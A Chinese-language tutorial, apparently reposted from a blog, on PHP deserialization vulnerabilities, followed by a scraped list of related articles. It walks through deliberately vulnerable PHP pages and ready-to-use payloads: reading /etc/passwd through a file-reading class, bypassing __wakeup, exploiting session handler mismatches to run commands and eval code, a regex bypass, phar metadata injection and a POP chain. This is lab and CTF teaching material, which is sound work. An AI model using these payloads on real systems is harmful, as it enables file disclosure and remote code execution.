1. 程式人生 > >淺談PHP反序列化漏洞原理

淺談PHP反序列化漏洞原理

序列化與反序列化

序列化用途:方便於物件在網路中的傳輸和儲存

0x01 php反序列化漏洞

在PHP應用中,序列化和反序列化一般用做快取,比如session快取,cookie等。

常見的序列化格式:

  • 二進位制格式
  • 位元組陣列
  • json字串
  • xml字串

序列化就是將物件轉換為流,利於儲存和傳輸的格式

反序列化與序列化相反,將流轉換為物件

例如:json序列化、XML序列化、二進位制序列化、SOAP序列化

而php的序列化和反序列化基本都圍繞著 serialize()unserialize()這兩個函式

php物件中常見的魔術方法

__construct()   // 當一個物件建立時被呼叫,
__destruct()    // 當一個物件銷燬時被呼叫,
__toString()    // 當一個物件被當作一個字串被呼叫。
__wakeup()      // 使用unserialize()會檢查是否存在__wakeup()方法,如果存在則會先呼叫,預先準備物件需要的資源
__sleep()       // 使用serialize()會檢查是否存在__wakeup()方法,如果存在則會先呼叫,預先準備物件需要的資源
__destruct()    // 物件被銷燬時觸發
__call()        // 在物件上下文中呼叫不可訪問的方法時觸發
__callStatic()  // 在靜態上下文中呼叫不可訪問的方法時觸發
__get()         // 用於從不可訪問的屬性讀取資料
__set()         // 用於將資料寫入不可訪問的屬性
__isset()       // 在不可訪問的屬性上呼叫isset()或empty()觸發
__unset()       // 在不可訪問的屬性上使用unset()時觸發
__toString()    // 把類當作字串使用時觸發,返回值需要為字串
__invoke()      // 當指令碼嘗試將物件呼叫為函式時觸發

PHP序列化資料

測試指令碼 test.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '使用者名稱: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

這是一個物件通過serialize()方法序列化後的格式

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

當一個頁面發現傳遞引數類似物件序列化的資料格式,可以測試是否存在反序列化漏洞

php物件中屬性的訪問級別

測試 test.php

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '使用者名稱: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private 的屬性序列化後變成 <0x00>物件<0x00>屬性名

public 沒有任何變化

protected 的屬性序列化後變成 <0x00>*<0x00>屬性名

特殊十六進位制<0x00>表示一個壞位元組,就是空位元組

下面測試正確的傳值姿勢進行反序列化

程式碼後新增幾句

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

先是測試普通的訪問形式來傳值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無法被物件外修改

如何才能從外部修改被保護的屬性值呢?

<0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發現即使是被保護的屬性也會被外部修改

php反序列化演示

假設頁面有個介面引數可控

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '使用者名稱: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 引數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

測試頁面是通過post來傳遞引數,實戰環境不一定在post中,引數可能會被加密編碼過

先傳遞一個 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過修改引數,判斷引數是否可變

引數可變

反序列化漏洞利用

漏洞形成條件

  1. 引數可變
  2. 有可利用函式

假設存在可利用函式

測試程式碼 test.php

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 讀取檔案函式
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '使用者名稱: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 引數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

可知存在一個file_get_contents()檔案讀取函式。

構造惡意引數 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

將之前User的介面改為讀取檔案的類構造引數,FileClass只有一個filename屬性,只需要傳遞要讀取的檔名就行

用同樣的引數名傳遞惡意引數,導致當前目錄的test.php被讀取,也可以嘗試讀取其他檔案

讀取test.txt

嘗試讀取/etc/passwd

構造引數 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過 __wakeup()

__wakeup() 類似一個預處理的作用,在執行unserialize()時會檢測是否存在wakeup,存在則先執行 __wakeup()

繞過方式

這種方式繞過是由PHP的版本漏洞造成的

繞過__wakeup()只需要將引數的個數改成超過現有的引數個數即可

影響版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38測試對比

測試頁面 test.php

測試版本 php 5.6.40

測試系統 Linux

IP :192.168.80.11

<?php
    // ...省略其他程式碼
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

這裡 __wakeup() 中,判斷如果輸入的cmd引數中存在 "ls" 的字串,則將cmd置為空格。

構造引數 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將引數的個數改成超過現有的引數個數進行繞過

更新後的版本,無法繞過會產生報錯

換一臺虛擬機器進行測試

測試頁面 test.php

測試版本 php 5.5.38

測試系統 Windows 7

IP :192.168.80.128

測試頁面 php_unser.php

<?php   
    // ...其餘都一樣
        function __wakeup(){
            # 因為win7沒有ls命令,所以這裡來限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法輸入";
            }
        }
?>

構造引數 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發現被__wakeup()過濾了

修改引數個數進行繞過 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經測試可以繞過

0x03 Session反序列化

php中的session內容不是存放在記憶體中,是以檔案形式存在。儲存方式就是由配置項session.save_handler來進行確定的,預設是以檔案的方式儲存。儲存的檔案是以sess_sessionid來進行命名的,檔案的內容就是session值的序列化之後的內容。

儲存方式

  • php_binary 儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值
  • php 儲存方式是,鍵名+豎線+經過serialize()函式序列處理的值
  • php_serialize(php>5.5.4) 儲存方式是,經過serialize()函式序列化處理的值

設定格式

ini_set('session.serialize_handler', '需要設定的引擎');

預設下session儲存為 php 儲存方式

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session內容    name|s:5:"admin";

php_serialize引擎

ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session內容    a:1:{s:4:"name";s:5:"admin";}

php_binary引擎

ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session內容    

ASCII的值為4的字元無法列印顯示

漏洞原理

當session使用不當,如php反序列化儲存時使用引擎和序列化使用的引擎不一樣,就會形成漏洞。

漏洞復現

本次測試,以 php引擎和 php_serialize引擎混合引發的漏洞

測試頁面1 target1.php --> php_serialize引擎

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["name"]=$_GET["name"];

    if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
        echo "歡迎來到第一個頁面,Session已儲存!";
    }
?>

測試頁面2 target2.php --> php引擎

<?php 
    ini_set('session.serialize_handler','php');
    session_start();
    // 開啟session之後 無需呼叫會自動載入
    class Admin
    {
        var $name;
        function __construct()
        {
            $this->name = "default";
        }
        function __destruct(){
            // 執行命令
            passthru($this->name);
        }
    }
?>

通過向 target1.php傳遞一個name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然後在訪問 target2.php,會發現之前傳遞引數中的 cat /etc/passwd命令被執行

這是發生了什麼?!!

漏洞觸發流程

首先通過訪問 target1.php並且傳遞了引數 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

target1.php頁面是php_serialize引擎來儲存session,所以session儲存後的內容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然後當訪問target2.php時,會用第二個頁面的 php引擎來解析session,通過 |來分割字串取出對應的值;

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解後,a:1:{s:4:"name";s:48:"admin被當作session的key值
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的儲存方式

通過session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就會生成 Admin物件和一個屬性值為 cat /etc/passwd的name

再通過物件的銷燬魔術方法__destruct()就會形成惡意的命令執行

CTF題實戰

為了符合題意需要將 php.ini中的 serialize_handler 修改一下

題目測試頁面 test3.php

<?php 
//A webshell is wait for you 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class OowoO 
{ 
    public $mdzz; 
    function __construct() 
    { 
        $this->mdzz = 'phpinfo();'; 
    } 
     
    function __destruct() 
    { 
        eval($this->mdzz); 
    } 
} 
if(isset($_GET['phpinfo'])) 
{ 
    $m = new OowoO(); 
} 
else 
{ 
    highlight_string(file_get_contents('test3.php')); 
} 
?>

訪問 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環境

通過原始碼可以看出並沒有可以傳入引數的地方

不過在phpinfo中可以看到 session.upload_progress.enabled 是開啟的

Session 上傳進度
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個檔案上傳時監測上傳進度。這個資訊對上傳請求自身並沒有什麼幫助,但在檔案上傳時應用可以傳送一個POST請求到終端(例如通過XHR)來檢查這個狀態
當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,上傳進度可以在$_SESSION中獲得。當PHP檢測到這種POST請求時,它會在$_SESSION中新增一組資料, 索引是 session.upload_progress.prefix 與 session.upload_progress.name連線在一起的值

構造一個post表單

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit">
</form>

上傳一個檔案,抓包分析

修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化後儲存

後輸出頁面被 php引擎解析觸發反序列化漏洞

構造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍歷 /tmp/ 內的所有檔案

0x04 反序列化繞過正則

測試頁面原始碼 test4.php

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>

首先訪問 <http://192.168.80.11/test4.php>

通過原始碼可以看出存在一個反序列化漏洞

根據之前的經驗直接構造一個 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由於存在正則表示式 preg_match('/[oc]:\d+:/i',$data,$matches); 對序列化字串做了限制導致觸發防禦

接下來嘗試繞過正則表示式,前面的O:4:符合正則的條件,因此將其繞過即可。利用符號+就不會正則匹配到數字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

並沒有什麼變化的原因是,在url中 + 號會被解釋為空格,所以需要將 + url編碼後加入

嘗試訪問 flag.php

繞過正則表示式

實戰中需根據正則表示式規則來進行繞過

0x05 phar反序列化

phar偽協議觸發php反序列化

phar://協議

可以將多個檔案歸入一個本地資料夾,也可以包含一個檔案

phar檔案

PHAR(PHP歸檔)檔案是一種打包格式,通過將許多PHP程式碼檔案和其他資源(例如影象,樣式表等)捆綁到一個歸檔檔案中來實現應用程式和庫的分發。所有PHAR檔案都使用.phar作為副檔名,PHAR格式的歸檔需要使用自己寫的PHP程式碼。

案例演示

假設已知頁面 test5.php

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "nice"';
        function __destruct(){
            eval($this->output);
        }
    }
        var_dump(file_exists($filename));
        file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}

接下來根據原始碼中的類來構造一個phar檔案

建立一個 phar.php

<?php
class MyClass{
    var $output='phpinfo();';
    function __destruct(){
        eval($this->output);
    }
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 字尾必須為 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 將自定義的meta-data存入manifest
$phar->addFromString("test.txt","test");    // 新增壓縮檔案
// 簽名自動計算
$phar->stopBuffering();
?>

通過訪問或者 php 編譯去生成 phar檔案

注意:必須要在php.ini中設定 phar.readonly = Off 不然無法生存phar檔案

通過檢視,其中有一串序列化字串正是和已知頁面原始碼中類相對應

可以通過上傳檔案等方式將phar檔案放到伺服器上

先通過正常url http://192.168.80.11/test5.php?filename=index.php 訪問

找到phar檔案的路徑

利用 phar:// 協議來訪問

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar檔案中存在的序列化字串來導致頁面反序列化漏洞的

0x06 POP鏈構造

測試頁面 pop.php

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
        }
}
$a = $_GET['string'];
unserialize($a);
?>

解題思路:

  1. 首先發現找到flag,發現flag需要通過GetFlag類中get_flag()函式輸出,然後可以看到string1類中的__toString()方法可以直接呼叫get_flag()方法,而str1需要賦值為GetFlag
  2. 發現類func中存在__invoke方法執行了字串拼接,需要把func當成函式使用自動呼叫__invoke然後把$mod1賦值為string1的物件與$mod2拼接。
  3. funct中找到了函式呼叫,需要把mod1賦值為func類的物件,又因為函式呼叫在__call方法中,且引數為$test2,即無法呼叫test2方法時自動呼叫 __call方法;
  4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的物件,讓__call自動呼叫。
  5. 查詢test1方法的呼叫點,在start_gg中發現$this->mod1->test1();,把$mod1賦值為start_gg類的物件,等待__destruct()自動呼叫。

通過構造pop鏈輸出payload

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1賦值為Call類物件
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1賦值為funct類物件
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1賦值為func類物件

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1賦值為string1類物件

        }
        public function __invoke()
        {        
                $this->mod2 = "字串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1賦值為GetFlag類物件          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//構造start_gg類物件$b
echo serialize($b);

執行後輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

將payload帶入到引數傳送請求,輸出flag

相關推薦

PHP序列漏洞原理

序列化與反序列化 序列化用途:方便於物件在網路中的傳輸和儲存 0x01 php反序列化漏洞 在PHP應用中,序列化和反序列化一般用做快取,比如session快取,cookie等。 常見的序列化格式: 二進位制格式 位元組陣列 json字串 xml字串 序列化就是將物件轉換為流,利於儲存和傳輸的格式

Java序列漏洞原理(案例未完善後續補充)

序列化與反序列化 序列化用途:方便於物件在網路中的傳輸和儲存 java的反序列化 序列化就是將物件轉換為流,利於儲存和傳輸的格式 反序列化與序列化相反,將流轉換為物件 例如:json序列化、XML序列化、二進位制序列化、SOAP序列化 序列化:java.io.ObjectOutputStream 類

php序列漏洞繞過魔術方法 __wakeup

prot poc cte enc repo private 成員 .html blank 0x01 前言 前天學校的ctf比賽,有一道題是關於php反序列化漏洞繞過wakeup,最後跟著大佬們學到了一波姿勢。。 0x02 原理 序列化與反序列化簡單介紹 序列化:把復雜的數據

PHP序列漏洞學習

exc tof target fun 反序 ring 內容 style 字符串 serialize:序列化 unserialize: 反序列化 簡單解釋: serialize 把一個對象轉成字符串形式, 可以用於保存 unserialize 把serialize序列化後的字

PHP序列漏洞

發生 arc arr 再看 記錄 php7 數據化 tostring 又能 聊一聊PHP反序列化漏洞 2016年11月4日 反序列化漏洞在各種語言中都較為常見,下面就簡單聊一聊PHP的反序列化漏洞(PHP對象註入)。第一次了解這個洞還是在某次ctf上,就簡單記錄下個人理解

java序列漏洞原理研習

java程序 out import 修改 sed 判斷 pub 發現 commons 零、Java反序列化漏洞   java的安全問題首屈一指的就是反序列化漏洞,可以執行命令啊,甚至直接getshell,所以趁著這個假期好好研究一下java的反序列化漏洞。另外呢,組裏多位大

ref:PHP序列漏洞成因及漏洞挖掘技巧與案例

tmp 問題 文章 extend === 代碼 簡單的 ted IE ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧與案例 一、序列化和反序列化 序列化和反序列化的目的是使得程序間傳輸對象會更加方

四個例項遞進php序列漏洞理解

索引 最近在總結php序列化相關的知識,看了好多前輩師傅的文章,決定對四個理解難度遞進的序列化思路進行一個復現剖析。包括最近Blackhat議題披露的phar拓展php反序列化漏洞攻擊面。前人栽樹,後人乘涼,擔著前輩師傅們的輔拓前行! D0g3 為了讓大

由Typecho 深入理解PHP序列漏洞

前言 Typecho是一個輕量版的部落格系統,前段時間爆出getshell漏洞,網上也已經有相關的漏洞分析釋出。這個漏洞是由PHP反序列化漏洞造成的,所以這裡我們分析一下這個漏洞,並藉此漏洞深入理解PHP反序列化漏洞。 一、 PHP反序列化漏洞 1.1 漏洞簡介 PH

還原HITCON 2016一道web題(php序列漏洞

實驗環境搭建:PHPstudy,火狐(backbar),notepad++; 本人在還原此題目時,因為mysql資料庫使用者名稱密碼和方便除錯等原因對原始碼的一些引數做了一些相應的改動,但是沒有改變主要程式碼。 config.php: <?php $db_ho

理解php序列漏洞

php物件注入是一個非常常見的漏洞,這個型別的漏洞雖然有些難以利用,但仍舊非常危險。為了理解這個漏洞,請讀者具備基礎的php知識。類和變數是非常容易理解的php概念。舉個例子,1.php在一個類中定義了一個變數和一個方法。它建立了一個物件並且呼叫了PrintVariable

從一道ctf看php序列漏洞的應用場景

目錄 0x00 first 0x01 我打我自己之---序列化問題 0x02 [0CTF 2016] piapiapia 0x00 first 前幾天joomla爆出個反序列化漏洞,原因是因為對

PHP序列漏洞總結

寫在前邊   做了不少PHP反序列化的題了,是時候把坑給填上了。參考了一些大佬們的部落格,自己再做一下總結 1.面向物件2.PHP序列化和反序列化3.PHP反序列化漏洞例項 1.面向物件   在瞭解序列化和反序列化之前,先簡單瞭解一下PHP的面向物件。   萬物皆可物件。根據官方手冊,PHP中,以關鍵

PHP 序列漏洞入門學習筆記

## 參考文章: [PHP反序列化漏洞入門](https://www.freebuf.com/articles/web/221213.html) [easy_serialize_php wp](https://blog.csdn.net/qq_43622442/article/details/10600369

php代碼審計9審計序列漏洞

序列化 gin 註入 wake sql註入 sset 恢復 tin 序列化對象 序列化與反序列化:序列化:把對象轉換為字節序列的過程稱為對象的序列化反序列化:把字節序列恢復為對象的過程稱為對象的反序列化漏洞成因:反序列化對象中存在魔術方法,而且魔術方法中的代碼可以被控制,漏

小白審計JACKSON序列漏洞

ces serialize 簡單 mage 簡單介紹 rac led 代碼審計 ble 1. JACKSON漏洞解析 poc代碼:main.java import com.fasterxml.jackson.databind.ObjectMapper; import co

XMLDecoder序列漏洞

xmldecoder java 反序列化 Java 調用XMLDecoder解析XML文件的時候,存在命令執行漏洞。樣例XML文件如下所示:<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_131" class

Typecho 序列漏洞導致前臺 getshell

typecho 反序列化漏洞導致前臺 getshell前言最早知道這個漏洞是在一個微信群裏,說是install.php文件裏面有個後門,看到別人給的截圖一看就知道是個PHP反序列化漏洞,趕緊上服務器看了看自己的博客,發現自己也中招了,相關代碼如下:然後果斷在文件第一行加上了die:<?php die(‘

java序列漏洞的檢測

spa div ria comm span Coding python odin ima 1、首先下載常用的工具ysoserial 這邊提供下載地址:https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-

php 序列返回false解決方法

反序 blog $2 序列化 nbsp post 序列 php replace function mb_unserialize($serial_str) { $serial_str= preg_replace(‘!s:(\d+):"(.*?)";